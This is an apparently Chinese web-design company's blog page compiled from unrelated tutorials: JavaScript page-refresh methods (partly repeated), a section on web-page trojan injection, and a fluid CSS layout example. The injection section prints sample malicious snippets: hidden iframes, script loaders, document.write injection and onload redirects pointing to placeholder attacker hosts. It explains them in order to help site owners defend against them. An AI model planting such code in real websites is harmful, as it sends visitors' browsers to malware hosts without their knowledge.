整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线：

js的 跳转

。 reload

reload 方法，该方法强迫浏览器刷新当前页面。

语法：location.reload([bForceGet])

参数： bForceGet， 可选参数， 默认为 false，从客户端缓存里取当前页。true, 则以 GET 方式，从服务端取最新的页面, 相当于客户端点击 F5("刷新")

reload() 方法用于重新加载当前文档。

如果该方法没有规定参数，或者参数是 false，它就会用 HTTP 头 If-Modified-Since 来检测服务器上的文档是否已改变。如果文档已改变，reload() 会再次下载该文档。如果文档未改变，则该方法将从缓存中装载文档。这与用户单击浏览器的刷新按钮的效果是完全一样的。

2.

2，replace 方法，该方法通过指定URL替换当前缓存在历史里（客户端）的项目，因此当使用replace方法之后，你不能通过“前进”和“后退”来访问已经被替换的URL。

语法： location.replace(URL)

通常使用： location.reload() 或者是 history.go(0) 来做。

此方法类似客户端点F5刷新页面，所以页面method="post"时，会出现"网页过期"的提示。

因为Session的安全保护机制。

当调用 location.reload() 方法时， aspx页面此时在服务端内存里已经存在， 因此必定是 IsPostback 的。

如果有这种应用： 需要重新加载该页面，也就是说期望页面能够在服务端重新被创建，期望是 Not IsPostback 的。

这里，location.replace() 就可以完成此任务。被replace的页面每次都在服务端重新生成。

代码： location.replace(location.href);

返回并刷新页面：

location.replace(document.referrer);

document.referrer //前一个页面的URL

不要用 history.go(-1)，或 history.back();来返回并刷新页面，这两种方法不会刷新页面。

附：

Javascript刷新页面的几种方法：

复制代码 代码如下:

1，history.go(0)

2，location.reload()

3，location=location

4，location.assign(location)

5，document.execCommand('Refresh')

6，window.navigate(location)

7，location.replace(location)

8，document.URL=location.href

自动刷新页面的方法:

1，页面自动刷新：把如下代码加入<head>区域中

复制代码 代码如下:

<meta http-equiv="refresh" content="20">

其中20指每隔20秒刷新一次页面.

2，页面自动跳转：把如下代码加入<head>区域中

复制代码 代码如下:

<meta http-equiv="refresh" content="20;url=http://www.jb51.net">

其中20指隔20秒后跳转到http://www.jb51.net页面

3，页面自动刷新js版

复制代码 代码如下:

<script language="JavaScript">

function myrefresh()

{

window.location.reload();

}

setTimeout('myrefresh()',1000); //指定1秒刷新一次

</script>

4，JS刷新框架的脚本语句

复制代码 代码如下:

//刷新包含该框架的页面用

<script language=JavaScript>

parent.location.reload();

</script>

//子窗口刷新父窗口

<script language=JavaScript>

self.opener.location.reload();

</script>

(　或　<a href="javascript：opener.location.reload()">刷新</a> )

//刷新另一个框架的页面用

<script language=JavaScript>

parent.另一FrameID.location.reload();

</script>

如果想关闭窗口时刷新或想开窗时刷新，在<body>中调用以下语句即可。

复制代码 代码如下:

<body onload="opener.location.reload()"> 开窗时刷新

<body onUnload="opener.location.reload()"> 关闭时刷新

<script language="javascript">

window.opener.document.location.reload()

</script>

一、先来看一个简单的例子：

下面以三个页面分别命名为frame.html、top.html、bottom.html为例来具体说明如何做。

frame.html 由上(top.html)下(bottom.html)两个页面组成，代码如下：

复制代码 代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE> frame </TITLE>

</HEAD>

<frameset rows="50%,50%">

<frame name=top src="top.html">

<frame name=bottom src="bottom.html">

</frameset>

</HTML>

现在假设top.html (即上面的页面) 有七个button来实现对bottom.html (即下面的页面) 的刷新，可以用以下七种语句，哪个好用自己看着办了。

top.html 页面的代码如下：

复制代码 代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE> top.html </TITLE>

</HEAD>

<BODY>

<input type=button value="刷新1" onclick="window.parent.frames[1].location.reload()"><br>

<input type=button value="刷新2" onclick="window.parent.frames.bottom.location.reload()"><br>

<input type=button value="刷新3" onclick="window.parent.frames['bottom'].location.reload()"><br>

<input type=button value="刷新4" onclick="window.parent.frames.item(1).location.reload()"><br>

<input type=button value="刷新5" onclick="window.parent.frames.item('bottom').location.reload()"><br>

<input type=button value="刷新6" onclick="window.parent.bottom.location.reload()"><br>

<input type=button value="刷新7" onclick="window.parent['bottom'].location.reload()"><br>

</BODY>

</HTML>

下面是bottom.html页面源代码，为了证明下方页面的确被刷新了，在装载完页面弹出一个对话框。

复制代码 代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD>

<TITLE> bottom.html </TITLE>

</HEAD>

<BODY onload="alert('我被加载了！')">

<h1>This is the content in bottom.html.</h1>

</BODY>

</HTML>

解释一下：

复制代码 代码如下:

1.window指代的是当前页面，例如对于此例它指的是top.html页面。

2.parent指的是当前页面的父页面，也就是包含它的框架页面。例如对于此例它指的是framedemo.html。

3.frames是window对象，是一个数组。代表着该框架内所有子页面。

4.item是方法。返回数组里面的元素。

5.如果子页面也是个框架页面，里面还是其它的子页面，那么上面的有些方法可能不行。

附：

Javascript刷新页面的几种方法：

1 history.go(0)

2 location.reload()

3 location=location

4 location.assign(location)

5 document.execCommand('Refresh')

6 window.navigate(location)

7 location.replace(location)

8 document.URL=location.href

二、自动刷新页面

1.页面自动刷新：把如下代码加入<head>区域中

<meta http-equiv="refresh" content="20">

其中20指每隔20秒刷新一次页面.

2.页面自动跳转：把如下代码加入<head>区域中

<meta http-equiv="refresh" content="20;url=http://www.jb51.net">

其中20指隔20秒后跳转到http://www.jb51.net页面

3.页面自动刷新js版

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

三、java在写Servler,Action等程序时，要操作返回页面的话（如谈出了窗口，操作完成以后，关闭当前页面，刷新父页面）

复制代码 代码如下:

1 PrintWriter out = response.getWriter();

2 out.write("<script type=\"text/javascript\">");

3 ////子窗口刷新父窗口

4 out.write("self.opener.location.reload();");

5 //关闭窗口

6 out.write("window.opener=null;");

7 out.write("window.close();");

8 out.write("</script>");

四、JS刷新框架的脚本语句

1.如何刷新包含该框架的页面用

复制代码 代码如下:

<script language=JavaScript>

parent.location.reload();

</script>

所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据"库备份/恢复"或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP，然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时，你就会自动的访问被转向的地址或者下载木马病毒。下面就让我们来看看几种常见的挂马网站。

（1）iframe 框架挂马

在网页上增加一行挂马的程序，例如：

<iframe src=http://www.xxx.com/xxx.html width=0 height=0></iframe>

这种嵌入是的挂马非常常见，在Google中搜索发现的可能还有木马的网页，一般都是被这种方式挂马。这行语句就是在网页打开的时候，同时打开另外一个网页，当然这个网页可能包含大量的木马，也可能仅仅是为了骗取流量。

如果我们的网页不使用iframe，我们可以屏蔽iframe属性，这样，即使网页被iframe挂马，也不会伤害到访问网站的用户。

【原理】：

IE5及其以后版本支持在CSS中使用expression，用来把CSS属性和javascript脚本关联起来，这里的CSS属性可以是元素固有的属性，也可以是自定义属性。

我们在网页中增加如下的代码即可屏蔽iframe属性：

<style type=”text/css”>

iframe{a:expression(this.src=’about:blank’,this.outerHTML=”);}

</style>

iframe 也可以采用加密的方式挂马，例如下面的代码：

<iframe src=http://google-analitecs.com/in.cgi????? width=1 height=1></iframe>

（2）script 挂马

通过script的调用来挂马，可以挂直接的html文件，也可以挂js文件，可以明文挂马，为了躲避追查，也有加密挂马的形式，形式各异，千差万别，主要方式如下：

<script src=http://%11%11%11%11%11%11%11></script>

这是一个加密的挂马语句；

2.1 htm文件挂马：

通过上传一个木马文件(x.htm)挂马，代码如下：

document.write(“<div style=’display:none’>”)

document.write(“<iframe src=x.htm width=0 height=0></iframe>”)

document.write(“</div>”)

htm 挂马代码:

<script src=x.htm></script>

2.2 js文件挂马

通过上传一个木马文件(x.js)挂马，代码如下：

document.write(“<iframe width=’0′ height=’0′ src=’http://xxx.com/xxx.htm’></iframe>”);

JS挂马代码:

<script language=javascript src=x.js></script>

当然也可以挂互联网上任何一台机器的x.js文件；

2.3 js变形加密

<SCRIPT language=”JScript.Encode” src=http://www.xxx.com/x.x></script>

（3）图片伪装挂马

随着防毒技术的发展，图片木马技术逃避杀毒监视的新技术，攻击者将类似：http://www.xxx.com/x.htm中的木马代码植入到x.gif图片文

件中，这些嵌入代码的图片都可以用工具生成。图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：

<html>

<iframe src=”http://www.x.com/x.htm” height=0 width=0></iframe>

<img src=http://www.hmttv.cn/uploadfile/2024/0808/20240808042614744.jpg”></center>

</html>

当用户打开http://www.x.com/x.htm是，显示给用户的是http://www.x.com/x.jpg，而http://www.x.com/x.htm网页代码也随之运行。

（4）其它的挂马方式

4.1 body挂马

<body onload=”window.location=’http://xxx.com/xxx.htm’;”></body>

也可以在css的body中挂马

body {

background-image: url(‘javascript：document.write(“<script src=http://www.xxx.com/x.js></script>”)’)}

4.2 隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML +

‘\r\n<iframe src=”http://www.xxx.com/xxx.htm/”></iframe>’;

4.3 java的open函数挂马

直接调用：

<SCRIPT language=javascript>

window.open (“x.htm”,””,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1″);

</script>

欺骗调用：

<a href=”http://www.a.com(迷惑连接地址，显示这个地址指向木马地址)” onMouseOver=”www_a_com(); return true;”> 页面要显示的内容 </a>

<SCRIPT Language=”JavaScript”>

function www_a_com ()

{

var url=”网马地址”;

open(url,”NewWindow”,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,w

idth=800,height=600,left=10,top=10″);

}

</SCRIPT>

4.4 伪装调用：

<frameset rows=”444,0″ cols=”*”>

<frame src=”a.htm” framborder=”no” scrolling=”auto” noresize marginwidth=”0″margingheight=”0″>

<frame src=”b.htm” frameborder=”no” scrolling=”no” noresize marginwidth=”0″margingheight=”0″>

</frameset>

形形色色的网页挂马，代码都十分简单，所以，互联网木马想要传播，就会不停的开发新的挂马方式，不停的加密隐藏自己，这样才能逃过各种安全软件的眼睛。其实，看看上文，很多语句都是编程常用的代码，只是使用的目的不一样罢了，了解了网页挂马的原理和方法，再防范网页挂马就容易多了。

带木马的网页主要包括两种类型：一种自己本身就是木马网站，所有的页面都有木马，另一种是正常的网站，由于管理不善，被挂马，成为木马网站的一个中转站，看看google中这样的网站何其多，可能很多站长现在还不知道，呵呵，多学习学习吧，站长可不是那么好当的。

不过，仅仅有了网络挂马的代码，也不一定一定能传播木马，只要我们加强防范，不让我们的网页被 挂马，甚至，即使被挂马了，打开了木马网页，我们的系统没有漏洞，木马网页也同样不能发挥作用的。所以，最重要的安全防范方式就是定期给系统打补丁，几乎 所有的木马网页都无法发挥作用了。

PC端进行网页制作时，经常使用固定像素并且内容居中的网页布局，为了适应小屏幕的设备，在移动设备和跨平台(响应式)网页开发过程中，多数使用流式布局，下面我们就对流式布局进行详细介绍。

流式布局是一种等比例缩放布局方式，在CSS代码中使用百分比来设置宽度，也称百分比自适应的布局。 流式布局实现方法是将CSS固定像素宽度换算为百分比宽度。换算公式如下: 目标元素宽度/父盒子宽度=百分数宽度 下面通过一个案例来演示固定布局如何转换为百分比布局，如demo4-1.html 所示。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>固定布局转换为百分比布局</title>
	<style type="text/css">
		body>*{ width: 980px; height:auto; margin:0 auto;
				margin-top:10px;
				border:1px solid #000; padding:5px;}
		header{ height:50px;}
		section{ height: 300px;}
		footer{ height:30px;}
		section>*{ height:100%; border:1px solid #000; float:left;}
		aside{ width:250px;}
		article{ width:700px; margin-left:10px;}
	</style>

</head>
<body>
<header>header</header>
<nav>nav</nav>
<section>
	<aside>aside</aside>
	<article>article</article>
</section>
<footer> footer</footer>
</body>
</html>

打开Chrome浏览器访问demo4-1.html，页面效果如下图所示。

可以尝试改变浏览器窗口的大小，页面元素的大小不会随浏览器窗口改变，如下图所示。

下面修改demo4-1样式代码，将所有宽度修改为百分比的形式，具体如下:

	<style type="text/css">
		body>*{ width:95%; height:auto; margin:0 auto; margin-top:10px;
               border:1px solid #000; padding :5px; }
		header{ height:50px; }
		section{ height: 300px; }
		footer{ height:30px;}
		section>*{ height:100%; border:1px solid #000; float:left; }
		aside{ width:25.510204%; /*250÷980*/}
		article{ width: 71.428571%; /*700÷980*/margin-left:1.0204088%;}
	</style>

刷新页面，缩小浏览器，页面按百分比随浏览器逐渐缩小，显示完整，页面效果如下图所示：


在线咨询
上一篇：解决html布局块上下左右间距保持一致
下一篇：html开发笔记20-合并单元格-列和行

您的项目需求

*请认真填写需求信息，我们会在24小时内与您取得联系。

推荐阅读
友情链接 石家庄看香高人 菏泽 株洲 高阳县 昌平区 龙潭区 渝水区 网站制作
Copyright © 2002-2019 雨点网络设计有限公司 版权所有   冀ICP备11025394号
联系电话：   E-mail：279303980@qq.com   www.hmttv.cn
主营业务：技术文章网站建设、网站定制、技术文章营销型网站建设、技术文章网站优化、技术文章微商城制作、三级分销系统开发
电话沟通
在线客服